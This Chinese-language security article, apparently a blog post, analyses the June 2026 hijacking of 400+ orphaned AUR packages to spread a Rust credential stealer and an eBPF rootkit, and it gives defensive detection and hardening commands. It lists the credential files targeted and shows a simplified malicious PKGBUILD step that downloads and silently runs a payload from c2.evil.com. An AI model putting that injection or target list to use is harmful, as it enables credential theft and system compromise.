Atomic Arch:400+个Linux AUR包被劫持植入Rust窃密器和eBPF Rootkit,开发者信任模型崩塌

2026年6月11日,Arch Linux社区包仓库AUR遭遇史上最大规模供应链攻击。攻击者接管了400多个"孤儿包"(无维护者的包),篡改其PKGBUILD构建脚本,在安装时植入Rust编写的凭据窃取器和eBPF内核级rootkit。这是Linux桌面生态首次出现eBPF rootkit通过包管理器大规模分发的案例,标志着供应链攻击从JavaScript生态向系统级包管理器的全面蔓延。
AUR信任模型的根本性缺陷

AUR(Arch User Repository)是Arch Linux生态的核心组成部分,允许社区用户提交和维护软件包的构建脚本(PKGBUILD)。与官方仓库不同,AUR的包不由Arch Linux核心团队审核,而是依赖社区自我治理——任何人可以提交PKGBUILD,其他用户通过投票和评论来评估质量。这种模型在正常情况下运转良好,但有一个致命弱点:孤儿包。
当一个AUR包的维护者放弃维护(账号删除、长时间不活跃等),该包就变成"孤儿"状态。按照AUR规则,任何人都可以申请接管孤儿包。攻击者利用这一机制,批量申请接管了400多个孤儿包,然后在PKGBUILD中注入恶意构建命令。由于这些包之前有合法的下载记录和用户评价,新用户很难察觉维护者已经变更。
| 攻击维度 | 具体情况 |
|---|---|
| 受影响包数量 | 400+个AUR包 |
| 攻击入口 | 孤儿包接管申请 |
| 恶意载荷 | Rust infostealer + eBPF rootkit |
| 感染方式 | PKGBUILD构建脚本在makepkg时执行 |
| 影响时间 | 2026年6月11日起 |
| 官方仓库 | 未受影响(仅AUR) |
Rust Infostealer:跨平台凭据收割机
攻击者选择Rust语言编写窃密器并非偶然。Rust编译出的二进制文件体积小、无运行时依赖、跨平台兼容性好,且由于所有权系统带来的内存安全特性,代码质量通常较高——这些特点让Rust成为恶意软件开发者的"新宠"。该窃密器的首要目标是开发者机器上的高价值凭据:
# Atomic Arch Rust infostealer窃取的目标
# 1. SSH私钥
~/.ssh/id_rsa, id_ed25519, id_ecdsa
~/.ssh/config(包含服务器地址信息)
# 2. Git凭据
~/.git-credentials
~/.gitconfig
Git credential store中的所有Token
# 3. 云服务凭证
~/.aws/credentials
~/.config/gcloud/credentials.db
~/.azure/accessTokens.json
# 4. 包管理器Token
~/.npmrc(npm authToken)
~/.pypirc(PyPI token)
~/.cargo/credentials(crates.io token)
# 5. 浏览器数据
~/.mozilla/firefox/*/cookies.sqlite
~/.config/google-chrome/*/Login Data
窃密器会将收集到的凭据打包为加密的tar归档,通过HTTPS上传到攻击者控制的C2服务器。整个过程在后台静默执行,不会在终端产生任何可见输出。由于AUR包通常需要sudo权限构建,恶意代码可以以root权限执行,获取系统上所有用户的凭据。
eBPF Rootkit:内核级隐匿的新威胁

Atomic Arch攻击中最具技术突破性的是eBPF rootkit的部署。eBPF(extended Berkeley Packet Filter)是Linux内核中的一个强大子系统,允许在内核空间安全地运行沙箱化程序。它原本设计用于网络监控、性能分析和安全审计,但攻击者发现它可以被武器化为rootkit。
eBPF rootkit的工作原理是:在内核中注册eBPF程序来拦截和修改系统调用。例如,它可以hook getdents64 系统调用来隐藏恶意文件和进程,hook网络相关的系统调用来隐藏C2通信,hook read 来窃取其他进程的内存数据。由于eBPF程序在内核验证器(verifier)通过后直接在内核空间执行,传统的用户态安全工具(如ps、netstat、lsof)完全无法检测到其存在。
# 检测eBPF rootkit的方法
# 1. 列出所有加载的eBPF程序
sudo bpftool prog list
# 2. 检查是否有可疑的eBPF程序附加到安全敏感的hook点
sudo bpftool prog list | grep -E "tracepoint|kprobe|lsm"
# 3. 检查eBPF map中是否有隐藏数据
sudo bpftool map list
# 4. 使用bpftrace检测隐藏的系统调用hook
sudo bpftrace -e 'tracepoint:syscalls:sys_enter_getdents64 { printf("getdents64 called by %s (pid %d)\n", comm, pid); }'
# 5. 对比/proc和/dev的可见性差异
# 如果ps看不到某个进程但/proc/PID目录存在,可能被rootkit隐藏
ls /proc/*/status | wc -l
ps aux | wc -l
PKGBUILD注入分析:构建脚本如何成为攻击载体

PKGBUILD是AUR包的构建脚本,本质上是一个bash脚本,定义了如何下载、编译和安装软件。攻击者在接管孤儿包后,在PKGBUILD的build()或package()函数中注入了恶意命令。这些命令在用户执行makepkg -si时以当前用户权限(通常是普通用户)执行,但由于AUR helper工具(如yay、paru)通常会请求sudo权限,恶意代码可以在构建过程中提权。
# 正常的PKGBUILD示例
pkgname=example-package
pkgver=1.0.0
source=("https://example.com/$pkgname-$pkgver.tar.gz")
build() {
cd "$pkgname-$pkgver"
make # 正常编译
}
package() {
cd "$pkgname-$pkgver"
make DESTDIR="$pkgdir" install # 正常安装
}
# 恶意PKGBUILD注入示例(简化版)
build() {
cd "$pkgname-$pkgver"
make
# 恶意代码隐藏在构建步骤中
curl -s https://c2.evil.com/payload -o /tmp/.update
chmod +x /tmp/.update
nohup /tmp/.update &>/dev/null &
}
# 安全构建AUR包的最佳实践
# 1. 始终在构建前审查PKGBUILD
git clone https://aur.archlinux.org/package-name.git
cat package-name/PKGBUILD # 仔细检查所有函数
# 2. 使用makepkg的--verifysource选项
makepkg -s --verifysource
# 3. 在隔离环境中构建
# 使用arch-nspawn或Docker容器
sudo mkarchroot /var/lib/extra/root base-devel
sudo makechrootpkg -r /var/lib/extra
# 4. 检查PKGBUILD的最近提交记录
cd package-name && git log --oneline -5
# 如果最近有大规模修改且维护者刚变更,高度可疑
受影响范围排查与应急响应

Arch Linux官方在发现攻击后迅速响应,重置了被篡改的包并封禁了相关账号。但已经安装了受影响包的用户需要立即采取行动。
# 检查系统是否受到影响
# 1. 列出所有通过AUR安装的包
pacman -Qm # 列出非官方仓库的包
# 2. 检查是否有可疑的构建产物
find /usr -newer /etc/hostname -name "*.so" -exec ls -la {} \; 2>/dev/null
# 3. 检查是否有eBPF程序加载
sudo bpftool prog list 2>/dev/null || echo "bpftool not available"
# 4. 检查网络连接是否有异常
ss -tlnp | grep -v -E ":(22|80|443|53)$"
# 5. 检查近期是否有异常的cron任务
for user in $(cut -d: -f1 /etc/passwd); do
crontab -l -u "$user" 2>/dev/null | grep -v "^#" | grep -v "^$"
done
# 6. 检查systemd服务是否有异常
systemctl list-units --type=service --state=running | grep -v -E "systemd|dbus|network"
| 检查项目 | 命令 | 风险信号 |
|---|---|---|
| 非官方包列表 | pacman -Qm |
对照受影响包列表 |
| 异常eBPF程序 | bpftool prog list |
kprobe/tracepoint类型的未知程序 |
| 异常网络连接 | ss -tlnp |
未知IP和端口 |
| 异常系统服务 | systemctl list-units |
不认识的服务名 |
| 异常cron任务 | crontab -l |
不认识的定时任务 |
| 异常内核模块 | lsmod |
不认识的模块 |
Linux供应链安全的系统性问题
Atomic Arch事件暴露了Linux包管理生态的系统性安全问题。与npm、PyPI等语言包管理器不同,Linux发行版的包管理通常被认为更安全——因为有官方仓库的审核机制。但AUR、PPA(Ubuntu)、COPR(Fedora)等社区包仓库绕过了这些审核,形成了安全盲区。
更深层的问题在于"孤儿包"治理。在开源生态中,维护者流失是常态。当一个流行的包失去维护者时,社区通常鼓励有人接手——这本身是好事。但攻击者利用了这一善意机制。Arch Linux的孤儿包申请流程没有足够的身份验证和过渡期审查,使得批量接管成为可能。
# 企业级AUR安全策略
# 1. 维护内部AUR镜像,只同步经过审查的包
# 2. 使用PKGBUILD diff工具监控变更
mkdir -p ~/aur-monitored
for pkg in $(cat ~/aur-watchlist.txt); do
if [ -d ~/aur-monitored/$pkg ]; then
cd ~/aur-monitored/$pkg
git fetch origin
DIFF=$(git diff HEAD..origin/master -- PKGBUILD)
if [ -n "$DIFF" ]; then
echo "[ALERT] PKGBUILD changed: $pkg"
echo "$DIFF" | mail -s "AUR Change Alert: $pkg" [email protected]
fi
else
git clone "https://aur.archlinux.org/$pkg.git" ~/aur-monitored/$pkg
fi
done
# 3. 使用namcap进行静态分析
namcap PKGBUILD # 检查构建脚本中的可疑模式
对容器和云原生环境的启示
Atomic Arch攻击对容器化和云原生环境有重要启示。许多Dockerfile使用Arch Linux作为基础镜像,或在构建阶段通过AUR安装依赖。如果基础镜像在攻击窗口期间构建,恶意代码可能被嵌入到容器镜像中,进而分发到整个Kubernetes集群。
# 高风险Dockerfile模式(需要审查)
FROM archlinux:latest
RUN pacman -Syu --noconfirm
RUN pacman -S --noconfirm base-devel git
# 这里如果通过AUR helper安装包,可能触发恶意构建
RUN yay -S --noconfirm some-aur-package # 危险!
# 安全替代方案
FROM archlinux:latest
RUN pacman -Syu --noconfirm
# 只从官方仓库安装
RUN pacman -S --noconfirm package-from-official-repo
# 如果必须用AUR,在隔离环境中构建并审查
COPY PKGBUILD /tmp/build/
RUN cd /tmp/build && makepkg -s --noconfirm
2026年供应链攻击全景:从npm到AUR
将Atomic Arch放入2026年供应链攻击的大背景中,趋势清晰可见:攻击面正在从单一生态系统扩展到所有包管理器。npm、PyPI、Crates.io、AUR——没有一个生态是安全的。攻击者的手法也在快速进化,从简单的typosquatting到CI/CD劫持,再到构建系统配置文件武器化(Phantom Gyp)和孤儿包接管。
| 生态系统 | 2026年重大事件 | 攻击手法演进 |
|---|---|---|
| npm | Axios RAT, Miasma, TanStack, TrapDoor | 版本劫持→CI/CD劫持→Phantom Gyp |
| PyPI | TrapDoor跨生态 | typosquatting+依赖链污染 |
| Crates.io | TrapDoor跨生态 | 新兴目标 |
| AUR | Atomic Arch(400+包) | 孤儿包接管+PKGBUILD注入 |
| GitHub Actions | TanStack | Workflow文件劫持 |
开发者需要接受一个新现实:任何包管理器中的第三方代码都不可盲目信任。安全的依赖管理不再是"选择安全的生态",而是在所有生态中建立系统化的审查、隔离和监控机制。
数据来源与参考文献
- TheHackersNews. "Over 400 Arch Linux AUR Packages Hijacked to Deploy Infostealer." thehackernews.com, 2026-06.
- Enigma Global CTI. "Atomic Arch: How 400 Hijacked Linux Packages Spread Rootkits." enigma-global.com, 2026-06.
- Breached Company. "Atomic Arch: A Poisoned AUR Spreads a Rust Infostealer and an eBPF Rootkit." breached.company, 2026-06.
- ThreatNote. "400+ Arch Linux AUR Packages Hijacked to Install Rust Credential Stealer." threatnote.com, 2026-06.
- Cambridge Analytica. "Attackers Hijacked 400 Arch Linux Packages to Steal Credentials." cambridgeanalytica.org, 2026-06.
- Concrete CMS. "Miasma / TeamPCP npm Supply-Chain Attack." concretecms.com, 2026-06-12.
- ReversingLabs. "2026 Software Supply Chain Security Report." reversinglabs.com, 2026.
评论